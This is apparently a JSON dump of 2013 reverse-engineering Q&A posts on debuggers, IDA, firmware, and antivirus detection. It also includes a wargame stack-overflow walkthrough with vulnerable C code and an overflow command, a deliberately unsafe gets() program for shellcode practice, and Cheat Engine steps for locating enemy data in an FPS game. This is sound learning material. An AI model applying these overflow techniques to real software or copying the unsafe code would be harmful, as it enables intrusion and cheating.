Typically in these situations, the analyst will determine where within the executable's memory image the import information resides. In particular, the analyst will usually locate the IMAGE_THUNK_DATA arrays, which are NULL-terminated arrays that contain the addresses of imported symbols. Then, the analyst will run a tool that basically performs the inverse of GetProcAddress: given one of these pointers to imported symbols, it will determine in which DLL the pointer resides, and which specific exported entry is referred to by the pointer. So for example, we might resolve 0x76AE3F3C to Kernel32!CreateFileW. Now we use this textual information to recreate IMAGE_IMPORT_DESCRIPTOR structures describing each imported DLL, use the original addresses of the IMAGE_THUNK_DATA arrays, store the names of the DLLs and imported symbols somewhere in the binary (perhaps in a new section), and point the IMAGE_THUNK_DATA entries to those new names.

\n\n

ImpRec is a popular tool that automates most or all of this process, depending upon the packer. What I just described is reflective of reality in about 95% of cases. More serious protections such as video game copy protections and tricky custom malware use further tricks that stymie the reconstruction process.

\n" }, { "Id": "2147", "CreationDate": "2013-05-31T03:25:59.193", "Body": "

Are there techniques for dynamic analysis of shared libraries? I know for example that DLLs have an entry point, but how about calling other exported functions? Do I need to write a custom executable that calls exports for each DLL I want to analyze?

\n", "Title": "Dynamic Analysis for Shared Libraries?", "Tags": "|dynamic-analysis|dll|", "Answer": "

DynamoRIO could be very good for more in-depth dynamic library analysis. DynamoRIO is a dynamic binary translator that works on both Linux and Windows, for both x86 and x86-64.

\n\n

To analyse DLLs using DynamoRIO, you would register module load and unload events using the dr_register_module_load_event and dr_register_module_unload_event functions, respectively.

\n\n

You can also register events that allow you to manipulate instructions before they are executed. These events would enable you to isolate code that is executed from a particular DLL, and apply custom instrumentation to that DLL.

\n" }, { "Id": "2152", "CreationDate": "2013-05-31T12:59:09.943", "Body": "

I am trying to use Miasm to reverse some binaries in i386 and amd64 instruction sets, but I encounter a few problem when using it.

\n\n

First, the installation phase went nice. I managed to install tinycc with the small modification of the Makefile and the installation script did not complain.

\n\n

But, once I tried to use the script miasm/example/disas_and_graph.py, the CFG stop suddenly shortly after the entrypoint.

\n\n

Strangely, I installed Miasm on a 32bits virtual machine and it worked fine and displayed the whole CFG properly. So, did I miss something about a restriction or a bug on amd64 architecture ?

\n", "Title": "Is miasm working on 64bits architecture?", "Tags": "|amd64|", "Answer": "

Ok, I had a few e-mails with Fabrice Desclaux (aka serpilliere), one of the main contributor of miasm.

\n\n

In fact, miasm (version 1) cannot disassemble amd64 opcodes (but do not issue any error if such executable is encountered). What is really misleading, is that the elf-64 is handled but the disassembler fail to recognize the amd64 opcodes.

\n\n

So, this behavior is \"normal\" even if no error message is issued.

\n\n

The good news, is that the main contributor of miasm is working on a second version of the software (miasm2) which is handling amd64 (and with a lot of new features).

\n" }, { "Id": "2159", "CreationDate": "2013-06-01T10:36:24.940", "Body": "

I have the following hex parts and I have a strong suspicion that behind them is a date of an event:

\n\n
2013.05.23  20:35:00    08014273ed2071a6800017\n2013.05.23  21:45:00    08014273ed246cf0000017\n2013.05.24  17:10:00    08014273ed675173000017\n2013.05.25  01:10:00    08014273ed82900f000017\n2013.05.25  02:15:00    08014273ed8667b3800017\n2013.05.25  17:15:00    08014273edb9c78e800017\n2013.05.25  19:55:00    08014273edc2ee93000017\n2013.05.25  20:30:00    08014273edc52a5a000017\n2013.05.29  06:25:00    08014273eede5079000017\n2013.05.29  06:35:00    08014273eedeac45000017\n2013.05.29  06:40:00    08014273eedf09c6800017\n2013.05.30  21:40:00    08014273ef64b021800017\n
\n\n

The first and the second are my observations of the event (I do not have an exact time for minutes and seconds), also it might be in my time zone. In the third column is hex value, which I suspect to be a presentation of this time. \nCurrently I assume that 08 and 17 are just delimiters.

\n\n

I was looking for a timestamp representation and date time, but currently with no success.\nAny guess what it can be?

\n\n

P.S an update with some completely different dates. I will try to find also the earlier date possible. Thanks for help

\n\n
2013.01.01  00:50:00    08014273bf2ba0ed000017\n2012.12.15  03:25:00    08014273b9bbb8cd000017\n
\n", "Title": "Trying to reverse engineer dump of a timestamp", "Tags": "|obfuscation|file-format|", "Answer": "

Following up alahel's answer, the date is indeed a number of milliseconds, but it includes 1 further bit to the left and is from the standard epoch of 1 Jan 1970. For example:

\n
08014273ed2071a6800017\n      ~^^^^^^^^^^\n
\n

where it includes the least significant bit from the "7", so 0x13ed2071a68, which corresponds to:

\n
2013-05-23 15:34:41:00 (UTC)\n
\n

There appears to be a 5 hour difference due to timezone.

\n

The author seems to have cared somewhat about being space-efficient by using exactly 41 bits - capable of reaching the year 2039 (whereas 40 bits would only reach 2004).

\n" }, { "Id": "2160", "CreationDate": "2013-06-01T13:33:26.727", "Body": "

I am trying to recreate an old game just for the sake of nostalgia and learning something new alongside (I can program in various languages and know a bit of assembly language, but I'm new to reverse engineering). The game is called Banania and looks like this:

\n\n

\"enter

\n\n

Now, my problem is finding the level data of this game (It's only one .exe file, nothing else). If I would have made this game, I would have stored the levels (which seem to be of Size 21x13) in a three dimensional array (50x21x13) for 50 total levels.\nHowever, I just can't seem to find any rectangular pattern of that size that look like levels in my hex editor.

\n\n

How would you try to find it? I'd be grateful for some help.

\n\n

EDIT: After staring at the binaries for the whole day, I finally found the level data! I discovered it by luck, it was just a large chunk with only about 20 different numbers used. The format is exactly like I expected. Since I know how the levels look, it shouldn't be too hard to guess what integer stands for which item. Apparently, Integers on Windows 3.1 were 16 bit long (at least, that's my guess), that's why I didn't find it at first.

\n", "Title": "Find level data in binaries?", "Tags": "|binary-analysis|", "Answer": "

Based on the output of NE dumper, the level data appears to begin at file offset 0x17600 and each level appears to be 0x200 bytes long.

\n" }, { "Id": "2161", "CreationDate": "2013-06-01T14:33:48.113", "Body": "

I have a .bin file I would like to analyse. Especially find images embedded in this firmware update.

\n\n\n\n

What other tools do you know to search for possible embedded files?

\n", "Title": "Find file signatures inside an unknown file", "Tags": "|tools|binary-analysis|file-format|firmware|", "Answer": "

Your best bet is Hachoir-Subfile. You can pass a file stream to Hachior-Subfile, it will search for all known embedded files and display the location. Some known formats it will calculate the size of the file. This makes it easy to carve out the files using dd. A helpful description of Hachoir-Subfile was left by one of the developers a couple weeks back in a similar question.

\n" }, { "Id": "2167", "CreationDate": "2013-06-02T03:08:42.323", "Body": "

I have recently came across the following sequence of assembly instructions.

\n\n
call    ds:WSAStartup\npush    ecx\npush    edi\nmov     ecx, 69E65AC4h\nmov     edi, 2776452Ah\npop     edi\npop     ecx\njmp     short loc_ABCD\n
\n\n

Please help me make sense of these particular 4 instructions below:

\n\n
mov     ecx, 69E65AC4h\nmov     edi, 2776452Ah\npop     edi\npop     ecx\n
\n\n

Why would you move direct values into registers, just to over write them with next 2 instructions?

\n\n

ADDED:\nIn regards to Rolf Rolles and peter ferrie comments bellow. First off, thank you, guys, for your input. I really appreciate it. What puzzles me the most and seems to be relatively interesting is the fact the the executable in question seems to be clean and clear of code obfuscation of any sort. How relevant is such a small amount of obfuscation for AV defeating purposes? I would assume, not too relevant.

\n\n

I have also came across the post here on RE What is the purpose of 'mov edi, edi'? . \nRE user QAZ on the accepted answer mentioned something about support of run time hot patching. Could it be something along those lines?

\n", "Title": "What could this sequence of assembly instructions possibly mean?", "Tags": "|disassembly|windows|assembly|x86|", "Answer": "

Without further information, it looks like deliberate obfuscation: instructions with no ultimate effect inserted into the code to make it harder to read. I doubt that code was generated by a compiler.

\n" }, { "Id": "2169", "CreationDate": "2013-06-02T06:03:22.543", "Body": "

I was working on a hobby AV project using ClamAV's engine. While ClamAV is a good open source engine, it has poor support for detecting polymorphic viruses. The latest updated version failed to detect many instances of Virut and Sality. How do commercial AVs detect polymorphic viruses?

\n", "Title": "How do AV vendors create signatures for polymorphic viruses?", "Tags": "|malware|", "Answer": "

To detect the polymorphic engine itself - properly - requires a copy of the engine. That was the case in the past, since the virus carried the engine in order to produce new copies of itself. The obvious attack against that is server-side polymorphism, where we (\"we\"=the AV industry) are left to guess at the capabilities of the engine, and which can change at any time, in response to our detections.\nHowever, back to the actual question:\ngiven an engine that can produce a sequence like this:

\n\n
mov reg1, offset_of_crypted\n\n[optional garbage from set 1]\n[optional garbage from set 2]\n[optional garbage from set 3]\n\nmov reg2, key_for_crypted\n\n[optional garbage from set 1]\n[optional garbage from set 2]\n[optional garbage from set 3]\n\nmov reg3, size_of_crypted\n\n[optional garbage from set 1]\n[optional garbage from set 2]\n[optional garbage from set 3]\n\n[decrypt]\n\n[optional garbage from set 1]\n[optional garbage from set 2]\n[optional garbage from set 3]\n\n[adjust reg3]\n\n[optional garbage from set 1]\n[optional garbage from set 2]\n[optional garbage from set 3]\n\n[branch to decrypt until reg3 completes]\n
\n\n

then we can analyse the opcodes that can produce the register assignments, and we know the set of garbage instructions, the decryption methods, the register adjustment, etc.

\n\n

From there, we can use a state machine to watch for the real instructions, and ignore the fake ones. The implementation details of that are long and boring, and not suitable as an answer here.\nIt's a one-engine one-algorithm relationship, in most cases.

\n\n

As a result, the emulator became the most useful tool that we have against that attack, allowing us to essentially \"let the virus decrypt itself\" and then we can see what's underneath (the attack against that is obviously metamorphism, and the simplest implementation is at the source level rather than post-compilation).

\n\n

So, in short, the answer is generally \"we don't anymore\". That is, we tend to no longer detect the polymorphic engine itself. There are of course exceptions to that, but they are few and far between these days.

\n" }, { "Id": "2173", "CreationDate": "2013-06-02T19:01:38.480", "Body": "

I was reading a old blog post on OpenRCE that mentions MSR tracing in the context of binary only profiling and coverage. The only Google hits for this term are a few emails on the Xen mailing list that I am not able to understand. What is MSR tracing?

\n", "Title": "What is MSR Tracing?", "Tags": "|dynamic-analysis|", "Answer": "

MSR tracing generally refers to using the Intel Model-Specific Registers (MSRs) to obtain trace information from the CPU. Because modern (post-Pentium 4, generally) processors have hardware support for debugging, this can be faster than software-only solutions. There are a few ways this can be done:

\n\n\n\n

So, to sum up, MSR tracing is a way of doing tracing faster using hardware support in Intel processors. It's very appealing theoretically, but there isn't (yet) a lot of support for it in commonly available tools.

\n\n

Sources:

\n\n\n" }, { "Id": "2176", "CreationDate": "2013-06-03T06:13:11.763", "Body": "

I am reversing a game using Cheat Engine and OllyDBG, through this memory addresses within an FPS game are read and monitored, these addresses will contain the coordinates(xyz) of enemies.

\n\n

My Objective is to find an address or a pattern that will allow me to loop through up to 32 enemies in order to read all their coordinates, in order to do this I have been attempting to find a pattern between each of their addresses with no luck. I have been able to collect 3 different enemy addresses, this information is useful but searching through 32 addresses is a task which requires more effort than I believe is necessary.

\n\n

As stated I have access to the first 3 enemy addresses and if from that information it is possible to trace back to the base either through Cheat Engine or other reverse engineering software the process would be appreciated.

\n\n

Ultimately my question is, is there a way to detect a pointer array in memory from one of its addresses, for example if if I have 3 enemy coordinates can I somehow trace the memory location back to an address that accesses all 32 enemy addresses whether it is by using cheat engine or another reversing tool.

\n", "Title": "How to find arrays of objects (entities, enemies) in a game I'm reversing with Cheat Engine?", "Tags": "|disassembly|ollydbg|debugging|debuggers|struct|", "Answer": "

First Find the address you are looking for. Then cycle this:

\n\n
    \n
  1. Find the base (the beginning of the record).
    2. \n
  2. Dissect the memory around this to recognize array or linked list.
    3. \n
  3. Search the memory for pointer to that base.
    4. \n
\n\n

Example:

\n\n

Scan for parameter finding the address 30000032.

\n\n

Find out the base of this record is 30000000.

\n\n

Checking memory - nothing fancy around.

\n\n

Finding pointer to the base at 20000004.

\n\n

Find out the base of the record is 20000000.

\n\n

Checking memory - still nothing...

\n\n

Finding pointer to the base at 10000008.

\n\n

Finding out the base is 10000000.

\n\n

Checking memory - all pointers to objects I am looking for are 12 bytes away from each other. (Obviously this is some sort of collection.)

\n\n

Last memory scan for pointer to make sure I am not wrong at 0000040.

\n\n

Find pointer to that collection, and right after it: count of the objects in the collection.

\n\n

Restart the game/computer few times to find a consistent pointer to that address.

\n\n

Reward myself with a beer for the good work.

\n\n

How to find the base: I like to use the \"pointer scan\", and check the last offset. The smallest from the most commonly found, is usually the correct one.

\n\n

Sometimes, I am trying to find a record, at the beginning of allocated memory, and in this case I am sure something is base.

\n\n

Another trick is to find two one after another in memory, determine their \"max size\", and this means the base must be no further than this number back in the memory.

\n\n

How to recognize collections: Most of them are EXTREMELY organized, with specific offset, or have pointers to same type of objects.

\n\n

Like if you have:

\n\n
Pointer to Player 1 data,\n4 Bytes\n4 Bytes\nPointer to Player 2 data,\n4 Bytes\n4 Bytes\nPointer to Player 3 data\n
\n\n

It should ring a bell.

\n\n

Keep in mind that such alignment may randomly happen in the source, so try to search for: Player 3 data, Player 3 data +/- 4, Player 3 data +/- 8.

\n\n

Anyway, if you find something like this, you are most likely really close.

\n\n

This works for me, hope it works for you guys too.

\n" }, { "Id": "2178", "CreationDate": "2013-06-03T08:36:41.400", "Body": "

I manage my structures in C files, the header might look like this:

\n\n
#pragma pack(0)\n\ntypedef struct\n{\n    short important_value;\n    char  _A[2]; // unknown\n    int   interesting_value;\n} STRUCT;\n
\n\n

I loaded this into IDA via Ctrl+F9. Now I find out more about the structure, seeing that _A contains short imaginary_value.

\n\n

When I try to reload this in IDA via Ctrl+F9, nothing happens. When I delete the structure in IDA, parse the C file and re-create the structure, I see the new structure, however all instances of STRUCT in the database are deleted.

\n\n

So the question is, how do I reload the structure without removing all instances from the database.

\n", "Title": "How to let IDA reload a structure from a C file?", "Tags": "|ida|", "Answer": "

Go to the Local Types (View->Open Subviews->Local Types or Shift + F1) window and then edit it from there by right clicking and clicking on edit on your structure's entry on the list.

\n" }, { "Id": "2181", "CreationDate": "2013-06-03T17:03:07.547", "Body": "

On many embedded systems, a great deal of communication with devices is done by reading and writing to memory-mapped I/O (MMIO) addresses in software. Supposing that I have access to the physical device, and a copy of the firmware that I can load in IDA, how can I figure out which devices are at which addresses?

\n\n

So far I've just been making guesses by looking at the code, string references (e.g., if a function prints out \"Initializing timer interrupt\" I can guess that maybe some of the addresses are for configuring a timer). But surely something must know where all the devices live in memory, because something is responsible for routing memory reads/writes to the correct device.

\n\n

So, is there a more systematic way to derive this information?

\n", "Title": "How can I figure out the device memory map for an embedded system?", "Tags": "|hardware|embedded|", "Answer": "
\n

But surely something must know where all the devices live in memory, because something is responsible for routing memory reads/writes to the correct device.

\n
\n\n

In embedded devices there's nothing like PCI (well, it may be present but it's just one of the many HW blocks). So you can't just scan all possibilities to discover the existing devices. The code must know where everything is.

\n\n

That said, there are some sources of information you may try to find.

\n\n
    \n

  1. Datasheets - always the best choice. Even if there are typos and c&p errors it still beats anything else. Note that many manufacturers have separate datasheets for pinout, electrical/temperature characteristics of specific chips, and user manuals (also called software or programming manuals) which are shared among many chips in the same family. You usually need the latter, though sometimes the former can also give some useful hints.

    2. \n

  2. Any source code (OS, drivers, etc) you may find for the device. Even if it's not for the specific hardware block you're interested in, the headers may include defines for it.

    3. \n

  3. If you can't find the exact match for your chip, look for anything in the same family - often the differences are just sizes of some blocks or number of ports.

    4. \n

  4. Look at the docs for the same HW blocks in any chip of this manufacturer. Some makers reuse their IP blocks across architectures - e.g. Infineon used pretty much the same GPIO blocks in their E-GOLD (C166) and S-GOLD (ARM) basebands. Renesas is another example - they reused IP blocks from SuperH series in their ARM chips.

    5. \n

  5. Some hardware is standardized across all architectures and manufacturers, e.g.: PCI, USB controllers (OHCI, EHCI, XHCI), SD host controllers, eMMC and so on.

    6. \n
\n\n

EDIT: sometimes, the hardware external to chip may be connected via an external bus interface (or external memory interface, or many other names). This is usually present in the bigger chips with at least a hundred pins. This interface can be programmable, and you can set up which address ranges go to which set of pins. Often there are also so-called chip select (CS) lines involved, which allow multiplexing the same set of pins for accessing several devices, so that one range of addresses will assert CS1, the other CS2 and so on. If you have such a set up, you need to find out the code which initializes the external interface, or dump its configuration at runtime. If you can't do that, you can try looking for memory accesses which correspond to the register layout of the external chip (such as an Ethernet controller), modulo some base address in the CPU's address space.

\n" }, { "Id": "2185", "CreationDate": "2013-06-03T22:45:34.807", "Body": "

OpenWatcom's debugger just executes the binary instead of single-stepping through it, when I attempt the following steps:

\n\n
    \n
  1. File->Open, select executable
    2. \n
  2. Run->Trace Into
    3. \n
\n\n

This attempt is on Windows XP.

\n\n

How do I single step through a program using OpenWatcom's debugger?

\n", "Title": "How to debug using OpenWatcom's debugger?", "Tags": "|windows|debuggers|", "Answer": "

Okay, Windows XP, OpenWatcom. I am using OpenWatcom 1.9. When trying to reproduce your problem, I used calc.exe from Windows XP for which there are no Watcom debug symbols available (only the PDB format from Microsoft, which Watcom doesn't support at all).

\n\n

When dismissing the open dialog from your first step, we get the assembly view like this. I am returning from that call (Run -> Until Return) a few times and realize that the call stack shows I am still in the loader phase.

\n\n

\"enter

\n\n

The most logical thing to do now would be to break at either kernel32!BaseThreadInitThunk which is basically the entry point for any Win32 thread, including the very first in a process, but isn't exported (and, remember, we have no symbols). For a writeup on the startup process, see here or the \"Windows Internals\" book. The next possible candidate would be ntdll!RtlUserThreadStart which also isn't exported and therefore unavailable.

\n\n

So, assuming you really have no modern debugger (WinDbg, cdb, let alone IDA, Hopper and friends) available, and don't want to use livekd.exe from SysInternals (which however requires a recent dbghelp.dll) the only method that seems to be reasonable is to load your target executable into an editor (CFF Explorer comes to mind) and put an int3 (cc) instruction at the entry point or simply move the entry point elsewhere. In my case I chose to overwrite the push 70h (6A 70) with int3; nop (CC 90). That enabled me to break at the beginning of the program (not considering TLS callbacks or anything like that, though).

\n\n

Another less intrusive method is to use the above mentioned CFF Explorer or really any suitable tool to give you the VA of the entry point. Since we're talking about Windows XP we need not worry about ASLR or anything like that.

\n\n

\"enter

\n\n

The entry point in our case is at RVA 0x12475, which the Address Converter translates to:

\n\n

\"enter

\n\n

VA 0x1012475. Sweet. Now we can try to let OpenWatcom stop at this address. Setting a bpx at this address (Break -> View All -> Rightclick -> New, enter address) and then pressing F5 (for \"Go\") to skip the startup phase for the process gets us straight to the entry point.

\n\n

\"enter

\n\n

From there we can use F8 for further single-stepping. And I'm sure similar to the experience we shared during the startup phase, any little thing that changed since the debugger was last adjusted to a more recent OS will trip you (or rather the OW debugger) up. Short of switching debuggers, you might want to make heavy use of Break -> On Debug Message, but even that seemed of little use when I tried it.

\n\n

Conclusion

\n\n

It's possible, but heck it's tedious and it may fall short of your needs at any point.

\n\n

Quite frankly, some debuggers are better left alone when no source is available (assembly debugging). Admittedly I am not as familiar with the Watcom debugger as with GDB or WinDbg, but I've used it in the past and found it pure horror with symbols. That impression will likely only get worse without symbols. I find myself confirmed in that sense from looking into the issue you were experiencing.

\n\n

20th century debugging

\n\n

OpenWatcom, while still being \"developed\" is old. Its roots are in the old Sybase product Watcom, which had a broad following. Problem is, that this product existed even before Windows 2000. So I don't think you can expect a lot from it, as most people these days are using compilers and debuggers with better support. Be it WinDbg or be it GDB if you happen to use MinGW or something like that.

\n" }, { "Id": "2190", "CreationDate": "2013-06-04T19:47:44.587", "Body": "

IDAPython is great plugin in IDA. It is so handy to write small script to decode, decrypt or fix (patch) a binary in IDA. I can just write, load and run a script, and can use print for the usual shotgun debugging. But when I develop a bigger IDAPython script, I need a way to debug it.

\n\n

I have searched and found that I can debug IDAPython with WingIDE but I want to find another that doesn't require WingIDE. Is there another way to debug IDAPython scripts?

\n", "Title": "How to debug an IDAPython script from within IDA?", "Tags": "|python|idapython|ida|", "Answer": "

UPDATE: This seems to be obsolete.

\n\n

You can debug IDAPython scripts using Python Tools for Visual Studio. It is completely free, and very easy to use.

\n\n

See this tutorial for this information.

\n" }, { "Id": "2194", "CreationDate": "2013-06-07T01:11:42.543", "Body": "

Let's take a look of how IDA displays address of local variable. For instance:

\n\n
MOV EAX, [EBP + var_4]\n
\n\n

As we all know as far as local variables go, they are located at lower addresses of EBP.

\n\n

\"Stack

\n\n

Though, I have been taking it for granted and inevitable, I am still very curious. Why does IDA display local variable offset as [EBP + var], not [EBP - var]?

\n\n

Thank you so much.

\n", "Title": "IDA EBP variable offset", "Tags": "|disassembly|assembly|static-analysis|callstack|ida|", "Answer": "

Have a look at the var_4 definition at the start of the function:

\n\n
var_4 = dword ptr -4\n
\n\n

So it's actually negative as expected.

\n\n

For a more complete picture, use Ctrl+K or double-click/Enter on the stack var to see the stack frame layout:

\n\n
-00000018 ; Two special fields \" r\" and \" s\" represent return address and saved registers.\n-00000018 ; Frame size: 18; Saved regs: 4; Purge: 0\n-00000018 ;\n-00000018\n-00000018 var_18          dd ?\n-00000014 var_14          dd ?\n-00000010 var_10          db 12 dup(?)\n-00000004 var_4           dd ?\n+00000000  s              db 4 dup(?)\n+00000004  r              db 4 dup(?)\n+00000008 arg_0           dd ?\n+0000000C\n+0000000C ; end of stack variables\n
\n" }, { "Id": "2197", "CreationDate": "2013-06-07T21:36:26.960", "Body": "

I came across a small function whose only side effects were to modify the state of some processor flags. When I decompiled this function using the Hex Rays decompiler, I simply got an empty function, which is not useful at all in figuring out what the function does. Instead I had to look up each instruction in the assembly language manual and read the pseudocode to determine the net effect of the function. Is there some tool I can paste assembly instructions into and it will spit out all side effects, including flags? I'm interested in x86.

\n", "Title": "Take A Snippet of Assembly and Make All Side Effects Explicit?", "Tags": "|assembly|x86|ida|", "Answer": "

Hex-Rays performs liveness analysis and dead code elimination, which in the case of your function, it sounds like it decided everything was dead. I think it's impossible to tell Hex-Rays via __usercall that the return location for some function is in a flag location, so under that assumption, Hex-Rays can't help in this situation.

\n\n

What you want is a tool that is capable of rendering the intermediate language translation for a given instruction or block of instructions. To that extent, tools such as BitBlaze, BAP, and miasm can help. Also see this link for a language-agnostic interface to BAP.

\n" }, { "Id": "2209", "CreationDate": "2013-06-08T16:43:26.337", "Body": "

I am working on io-wargames for fun right now, level3:

\n\n

I do understand why there is a stack-overflow in this code (strlen(argv[1])), but what I don't understand is why it overflows the function pointer functionpointer.

\n\n

functionpointer is declared before char buffer[50]; on the stack so How comes it overwrites it ???

\n\n

Here is the main vulnerable code:

\n\n
int main(int argc, char **argv, char **envp)\n{\n        void (*functionpointer)(void) = bad;\n        char buffer[50];\n\n        if(argc != 2 || strlen(argv[1]) < 4)\n                return 0;\n\n        memcpy(buffer, argv[1], strlen(argv[1]));\n        memset(buffer, 0, strlen(argv[1]) - 4);\n\n        printf(\"This is exciting we're going to %p\\n\", functionpointer);\n        functionpointer();\n\n        return 0;\n}\n
\n\n

Here is the shell exploits the stackoverflow:

\n\n
level3@io:~$ /levels/level03 11111111\nThis is exciting we're going to 0x80484a4\nI'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474\nlevel3@io:~$ /levels/level03 111111111111111111111111111111111111111111111111111111111111111111111111111111111\nThis is exciting we're going to 0x31313100\nSegmentation fault\n
\n\n
\n\n

Here is the objump -d of the executable:

\n\n
080484c8 <main>:\n 80484c8:       55                      push   %ebp\n 80484c9:       89 e5                   mov    %esp,%ebp\n 80484cb:       83 ec 78                sub    $0x78,%esp\n 80484ce:       83 e4 f0                and    $0xfffffff0,%esp\n 80484d1:       b8 00 00 00 00          mov    $0x0,%eax\n 80484d6:       29 c4                   sub    %eax,%esp\n 80484d8:       c7 45 f4 a4 84 04 08    movl   $0x80484a4,-0xc(%ebp)\n 80484df:       83 7d 08 02             cmpl   $0x2,0x8(%ebp)\n 80484e3:       75 17                   jne    80484fc <main+0x34>\n 80484e5:       8b 45 0c                mov    0xc(%ebp),%eax\n 80484e8:       83 c0 04                add    $0x4,%eax\n 80484eb:       8b 00                   mov    (%eax),%eax\n 80484ed:       89 04 24                mov    %eax,(%esp)\n 80484f0:       e8 a7 fe ff ff          call   804839c <strlen@plt>\n 80484f5:       83 f8 03                cmp    $0x3,%eax\n 80484f8:       76 02                   jbe    80484fc <main+0x34>\n 80484fa:       eb 09                   jmp    8048505 <main+0x3d>\n 80484fc:       c7 45 a4 00 00 00 00    movl   $0x0,-0x5c(%ebp)\n 8048503:       eb 74                   jmp    8048579 <main+0xb1>\n 8048505:       8b 45 0c                mov    0xc(%ebp),%eax\n 8048508:       83 c0 04                add    $0x4,%eax\n 804850b:       8b 00                   mov    (%eax),%eax\n 804850d:       89 04 24                mov    %eax,(%esp)\n 8048510:       e8 87 fe ff ff          call   804839c <strlen@plt>\n 8048515:       89 44 24 08             mov    %eax,0x8(%esp)\n 8048519:       8b 45 0c                mov    0xc(%ebp),%eax\n 804851c:       83 c0 04                add    $0x4,%eax\n 804851f:       8b 00                   mov    (%eax),%eax\n 8048521:       89 44 24 04             mov    %eax,0x4(%esp)\n 8048525:       8d 45 a8                lea    -0x58(%ebp),%eax\n 8048528:       89 04 24                mov    %eax,(%esp)\n 804852b:       e8 5c fe ff ff          call   804838c <memcpy@plt>\n 8048530:       8b 45 0c                mov    0xc(%ebp),%eax\n 8048533:       83 c0 04                add    $0x4,%eax\n 8048536:       8b 00                   mov    (%eax),%eax\n 8048538:       89 04 24                mov    %eax,(%esp)\n 804853b:       e8 5c fe ff ff          call   804839c <strlen@plt>\n 8048540:       83 e8 04                sub    $0x4,%eax\n 8048543:       89 44 24 08             mov    %eax,0x8(%esp)\n 8048547:       c7 44 24 04 00 00 00    movl   $0x0,0x4(%esp)\n 804854e:       00 \n 804854f:       8d 45 a8                lea    -0x58(%ebp),%eax\n 8048552:       89 04 24                mov    %eax,(%esp)\n 8048555:       e8 02 fe ff ff          call   804835c <memset@plt>\n 804855a:       8b 45 f4                mov    -0xc(%ebp),%eax\n 804855d:       89 44 24 04             mov    %eax,0x4(%esp)\n 8048561:       c7 04 24 c0 86 04 08    movl   $0x80486c0,(%esp)\n 8048568:       e8 3f fe ff ff          call   80483ac <printf@plt>\n 804856d:       8b 45 f4                mov    -0xc(%ebp),%eax\n 8048570:       ff d0                   call   *%eax\n 8048572:       c7 45 a4 00 00 00 00    movl   $0x0,-0x5c(%ebp)\n 8048579:       8b 45 a4                mov    -0x5c(%ebp),%eax\n 804857c:       c9                      leave  \n 804857d:       c3                      ret    \n 804857e:       90                      nop\n 804857f:       90                      nop\n
\n\n
\n\n

I see that the complier reserved in the main's prolog function frame 0x78 bytes for the local main function variables.

\n", "Title": "Why does the function pointer get overwritten even though is declared before the vulnerable buffer?", "Tags": "|c|linux|assembly|x86|", "Answer": "
\n

Why does the function pointer get overwritten even though is declared before the vulnerable buffer?

\n
\n\n

In the vulnerable code the order of declaration is:

\n\n
void (*functionpointer)(void) = bad;  \nchar buffer[50];\n
\n\n

The assembly code shows us that the function pointer variable is located at ebp-0xc and the buffer at ebp-0x58.

\n\n

This proves that the stack is growing downwards(to lower addresses) in this system as the buffer is placed at a lower address than the function pointer variable.

\n\n

Another proof that the stack is growing downwards in this system is the below instruction which allocates the required space by substracting esp:

\n\n
80484cb:       83 ec 78                sub    $0x78,%esp\n
\n\n


\nNow memcpy copies num bytes starting from the byte located at ebp-0x58 and then it continues by incrementing.

\n\n

Adding 1 to ebp-0x58 makes it ebp-0x57, so if num is long enough, memcpy will overwrite the function pointer located at ebp-0xc.

\n\n

ebp holds an address, lets say 0x00400000, so ebp-0x58 is the address 0x003FFFA8 incrementing from that address you will eventually reach ebp-0xc(0x003FFFF4).

\n\n
0x003FFFA8 \u00a0\u00a0\u00a0 buffer\n...\n0x003FFFF4 \u00a0\u00a0\u00a0\u00a0function pointer\n0x003FFFF8 \u00a0\u00a0\u00a0\u00a0\n0x003FFFFC\u00a0\u00a0\u00a0\u00a0\n0x00400000\u00a0\u00a0\u00a0\u00a0\u00a0saved ebp\n0x00400004\u00a0\u00a0 \u00a0\u00a0saved return address\n
\n" }, { "Id": "2215", "CreationDate": "2013-06-09T01:47:19.077", "Body": "

I'm trying to understand very basic stack-based buffer overflow\nI'm running Debian wheezy on a x86_64 Macbook Pro.

\n\n

I have the following unsafe program:

\n\n
#include <stdlib.h>\n#include <stdio.h>\n\nCanNeverExecute()\n{\n        printf(\"I can never execute\\n\");\n        exit(0);\n}\n\nGetInput()\n{\n        char buffer[512];\n\n        gets(buffer);\n        puts(buffer);\n}\n\nmain()\n{\n        GetInput();\n\n        return 0;\n}\n
\n\n

I compiled with -z execstack and -fno-stack-protector for my tests.

\n\n

I have been able to launch the program through gdb, get the address of CanNeverExecute function which is never called, and overflow the buffer to replace the return address by this address. I got printed \"I can never execute\", which is, so far, so good.

\n\n

Now I'm trying to exploit this buffer overflow by introducing shellcode in the stack. I'm currently trying directly into gdb: break in GetInputfunction, set buffer value through gdb and jump to buffer adress with jump command.

\n\n

But I have a problem when setting the buffer:\nI have a breakpoint just after gets function, and I ran the programm with 512 a characters as input.

\n\n

In gdb, I do:

\n\n
(gdb) p buffer\n$1 = 'a' <repeats 512 times>\n
\n\n

The input was read without any problem, and my buffer is 512 a\nI then try to modify its value. If I do this:

\n\n
(gdb) set var buffer=\"\"\n
\n\n

and try to print buffer, its length is now 511! How come??

\n\n
(gdb) p buffer\n$2 = '\\000' <repeats 511 times>et:\n
\n\n

And when I try to set it back to, for instance, 512 a, I get:

\n\n
Too many array elements\n
\n\n

I can set it to 511 a though, it is really that las byte that doesn't work... How come, is there a simple explanation?

\n", "Title": "GDB Error \"Too many array elements\"", "Tags": "|gdb|buffer-overflow|", "Answer": "

GDB protects you to overflow your char array.

\n\n
(gdb) p &buffer\n$25 = (char (*)[512]) 0x7fffffffdfe0\n
\n\n

To bypass this security you can either write directly the memory :

\n\n
(gdb) set 0x7fffffffe1e0=0x41414141\n
\n\n

Or cast the array as a bigger one and then set your stuff :

\n\n
set {char [513]}buffer=\"512xA\"\n
\n" }, { "Id": "2221", "CreationDate": "2013-06-10T13:46:25.980", "Body": "

I recently heard about the "control-flow flattening" obfuscation which seems to be is used to break the structure of the CFG of the binary program (see Symbolic Execution and CFG Flattening).

\n

Can somebody make an explanation of what is its basic principle and, also, how to produce such obfuscation (tools, programming technique, ...) ? And, it would be nice to know if there are ways to extract the real shape of the control-flow of the program.

\n", "Title": "What is a \"control-flow flattening\" obfuscation technique?", "Tags": "|obfuscation|", "Answer": "

Control flow flattening is an obfuscation\\transformation technique that can be applied to code for almost all languages in order to make it more difficult to understand and reverse engineer.

\n
